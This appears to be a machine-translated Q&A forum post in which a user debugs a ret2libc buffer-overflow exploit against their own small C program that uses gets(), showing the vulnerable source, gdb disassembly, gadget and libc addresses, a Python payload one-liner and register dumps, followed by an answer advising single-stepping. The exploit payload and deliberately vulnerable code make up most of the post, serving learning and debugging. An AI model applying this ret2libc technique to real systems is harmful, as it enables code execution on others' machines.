地址 0x0000000000000000 处的 ret2libc 段错误

ret2libc segfault at address 0x0000000000000000

我执行了 ret2libc,但在 0x0000000000000000 中以段错误结束。易受攻击的程序是

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
  char buf[10];
  gets(buf);
  printf("%s\n",buf);
}
int main()
{
  get();
  printf("Done\n");
  return 1;
}

gdb 的反汇编是

(gdb) disass main
Dump of assembler code for function main:
   0x000055555555516d <+0>:     push   rbp
   0x000055555555516e <+1>:     mov    rbp,rsp
   0x0000555555555171 <+4>:     mov    eax,0x0
   0x0000555555555176 <+9>:     call   0x555555555145 <get>
   0x000055555555517b <+14>:    lea    rdi,[rip+0xe82]        # 0x555555556004
   0x0000555555555182 <+21>:    call   0x555555555030 <puts@plt>
   0x0000555555555187 <+26>:    mov    eax,0x1
   0x000055555555518c <+31>:    pop    rbp
   0x000055555555518d <+32>:    ret    
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
   0x0000555555555145 <+0>:     push   rbp
   0x0000555555555146 <+1>:     mov    rbp,rsp
   0x0000555555555149 <+4>:     sub    rsp,0x10
   0x000055555555514d <+8>:     lea    rax,[rbp-0xa]
   0x0000555555555151 <+12>:    mov    rdi,rax
   0x0000555555555154 <+15>:    mov    eax,0x0
   0x0000555555555159 <+20>:    call   0x555555555040 <gets@plt>
   0x000055555555515e <+25>:    lea    rax,[rbp-0xa]
   0x0000555555555162 <+29>:    mov    rdi,rax
   0x0000555555555165 <+32>:    call   0x555555555030 <puts@plt>
   0x000055555555516a <+37>:    nop
   0x000055555555516b <+38>:    leave  
   0x000055555555516c <+39>:    ret    
End of assembler dump.

我使用 radare2 找到了位于 0x7ffff7e1d7de 的小工具 pop rdi;ret/bin/sh 位于 0x7ffff7f7f1acsystem() 位于 0x7ffff7e3f8a0

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')

Breakpoint 1, main () at exploit.c:12
12        get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

寄存器是

(gdb) i r
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x7fffffffde88      140737488346760
rdi            0x2                 2
rbp            0x4242424242424242  0x4242424242424242
rsp            0x7fffffffe1b8      0x7fffffffe1b8
r8             0x0                 0
r9             0x0                 0
r10            0x8                 8
r11            0x246               582
r12            0x555555555060      93824992235616
r13            0x7fffffffe280      140737488347776
r14            0x0                 0
r15            0x0                 0
rip            0x0                 0x0
eflags         0x10216             [ PF AF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

我用的是64位machine.The程序是用gcc -ggdb -Wall -fno-stack-protector -o a exploit.c编译的。我也手动禁用了 aslr。 为什么它以段错误结束?

留言

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

表示你的程序跳转到了地址0(即%pc为0),这是一个无效地址。这可能是由于在堆栈顶部的值为 0 时执行了 ret 指令。

您也看到了消息

[Detaching after vfork from child process 2964]

这可能意味着正在调用 system 函数,但由于某种原因没有按照您的预期执行。

要调试这类东西,您需要使用 si 命令(偶尔 ni 跳过调用)仔细逐条执行代码指令